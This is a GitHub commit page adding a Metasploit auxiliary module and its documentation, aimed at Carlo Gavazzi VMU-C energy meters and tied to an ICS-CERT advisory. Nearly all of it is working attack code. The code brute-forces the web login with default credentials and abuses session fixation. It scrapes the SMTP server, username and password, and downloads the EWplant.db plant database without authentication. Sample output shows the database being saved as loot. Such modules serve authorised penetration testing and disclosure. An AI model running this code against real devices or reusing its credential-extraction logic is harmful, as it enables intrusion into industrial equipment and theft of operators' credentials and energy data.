Skip to content

Commit 06e6a97

Browse files
committed
land rapid7#7944 a scanner for Carlo Gavazzi energy meters
2 parents 84e4b8d + 2d8e3c7 commit 06e6a97

File tree

2 files changed

+300
-0
lines changed

2 files changed

+300
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication.
2+
3+
The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics.
4+
5+
Vulnerable firmware versions include:
6+
7+
VMU-C EM prior to firmware Version A11_U05
8+
VMU-C PV prior to firmware Version A17.
9+
10+
## Verification Steps
11+
12+
1. Do: ```use auxiliary/scanner/http/gavazzi_em_login_loot```
13+
2. Do: ```set RHOSTS [IP]```
14+
3. Do: ```set RPORT [PORT]```
15+
4. Do: ```run```
16+
17+
## Sample Output
18+
19+
```
20+
msf > use auxiliary/scanner/http/gavazzi_em_login_loot
21+
msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7
22+
msf auxiliary(gavazzi_em_login_loot) > set rport 80
23+
msf auxiliary(gavazzi_em_login_loot) > run
24+
25+
[+] 1.3.3.7:80 - [1/1] - Running Carlo Gavazzi VMU-C Web Management portal...
26+
[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin"
27+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin"
28+
[+] 1.3.3.7:80 - Firmware version A8_U03...
29+
[+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: ""
30+
[*] 1.3.3.7:80 - dumping EWplant.db
31+
[+] 1.3.3.7:80 - EWplant.db retrieved successfully!
32+
[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.db
33+
[*] Scanned 1 of 1 hosts (100% complete)
34+
[*] Auxiliary module execution completed
35+
36+
```
Lines changed: 264 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,264 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::AuthBrute
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database',
17+
'Description' => %{
18+
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03']
23+
],
24+
'Author' =>
25+
[
26+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
27+
],
28+
'License' => MSF_LICENSE,
29+
'DefaultOptions' =>
30+
{
31+
'SSL' => false,
32+
'VERBOSE' => true
33+
}))
34+
35+
register_options(
36+
[
37+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
38+
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
39+
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin'])
40+
], self.class
41+
)
42+
end
43+
44+
def run_host(ip)
45+
unless is_app_carlogavazzi?
46+
return
47+
end
48+
49+
each_user_pass do |user, pass|
50+
do_login(user, pass)
51+
end
52+
ewplantdb
53+
end
54+
55+
#
56+
# What's the point of running this module if the target actually isn't Carlo Gavazzi box
57+
#
58+
59+
def is_app_carlogavazzi?
60+
begin
61+
res = send_request_cgi(
62+
{
63+
'uri' => '/',
64+
'method' => 'GET'
65+
}
66+
)
67+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
68+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
69+
return false
70+
end
71+
72+
good_response = (
73+
res &&
74+
res.code == 200 &&
75+
res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC')
76+
)
77+
78+
if good_response
79+
vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...")
80+
return true
81+
else
82+
vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.")
83+
return false
84+
end
85+
end
86+
87+
def report_cred(opts)
88+
service_data = {
89+
address: opts[:ip],
90+
port: opts[:port],
91+
service_name: opts[:service_name],
92+
protocol: 'tcp',
93+
workspace_id: myworkspace_id
94+
}
95+
96+
credential_data = {
97+
origin_type: :service,
98+
module_fullname: fullname,
99+
username: opts[:user],
100+
private_data: opts[:password],
101+
private_type: :password
102+
}.merge(service_data)
103+
104+
login_data = {
105+
last_attempted_at: Time.now,
106+
core: create_credential(credential_data),
107+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
108+
proof: opts[:proof]
109+
}.merge(service_data)
110+
111+
create_credential_login(login_data)
112+
end
113+
114+
#
115+
# Brute-force the login page
116+
#
117+
118+
def do_login(user, pass)
119+
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
120+
121+
# Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use.
122+
randomvalue = Rex::Text.rand_text_alphanumeric(26)
123+
cookie_value = 'PHPSESSID=' + "#{randomvalue}"
124+
125+
begin
126+
res = send_request_cgi(
127+
{
128+
'uri' => '/login.php',
129+
'method' => 'POST',
130+
'headers' => {
131+
'Cookie' => cookie_value
132+
},
133+
'vars_post' =>
134+
{
135+
'username' => user,
136+
'password' => pass,
137+
'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models
138+
}
139+
}
140+
)
141+
142+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
143+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
144+
return :abort
145+
end
146+
147+
good_response = (
148+
res &&
149+
res.code == 200 &&
150+
res.body.include?('Login in progress') || res.body.include?('Login in corso') &&
151+
res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php')
152+
)
153+
154+
if good_response
155+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
156+
157+
# Extract firmware version
158+
begin
159+
res = send_request_cgi(
160+
{
161+
'uri' => '/setupfirmware.php',
162+
'method' => 'GET',
163+
'headers' => {
164+
'Cookie' => cookie_value
165+
}
166+
}
167+
)
168+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
169+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
170+
return :abort
171+
end
172+
173+
if res && res.code == 200
174+
if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware')
175+
fw_ver = res.body.match(/Ver. (.*)[$<]/)[1]
176+
177+
if !fw_ver.nil?
178+
print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...")
179+
180+
report_cred(
181+
ip: rhost,
182+
port: rport,
183+
service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]",
184+
user: user,
185+
password: pass
186+
)
187+
end
188+
end
189+
end
190+
191+
#
192+
# Extract SMTP config
193+
#
194+
195+
begin
196+
res = send_request_cgi(
197+
{
198+
'uri' => '/setupmail.php',
199+
'method' => 'GET',
200+
'headers' => {
201+
'Cookie' => cookie_value
202+
}
203+
}
204+
)
205+
206+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
207+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
208+
return :abort
209+
end
210+
211+
if (res && res.code == 200 && res.body.include?('SMTP'))
212+
dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1]
213+
dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1]
214+
dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1]
215+
216+
if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?)
217+
smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/)
218+
smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/)
219+
smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/)
220+
221+
if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?)
222+
print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}")
223+
end
224+
end
225+
else
226+
vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges")
227+
end
228+
return :next_user
229+
else
230+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
231+
end
232+
end
233+
234+
#
235+
# Dump EWplant.db database file - No authentication required
236+
#
237+
238+
def ewplantdb
239+
begin
240+
res = send_request_cgi(
241+
{
242+
'uri' => '/cfg/EWplant.db',
243+
'method' => 'GET'
244+
}
245+
)
246+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
247+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
248+
return :abort
249+
end
250+
251+
if res && res.code == 200
252+
print_status("#{rhost}:#{rport} - dumping EWplant.db")
253+
print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!")
254+
loot_name = 'EWplant.db'
255+
loot_type = 'SQLite_db/text'
256+
loot_desc = 'Carlo Gavazzi EM - EWplant.db'
257+
path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc)
258+
print_good("#{rhost}:#{rport} - File saved in: #{path}")
259+
else
260+
vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?")
261+
return
262+
end
263+
end
264+
end

0 commit comments

Comments
 (0)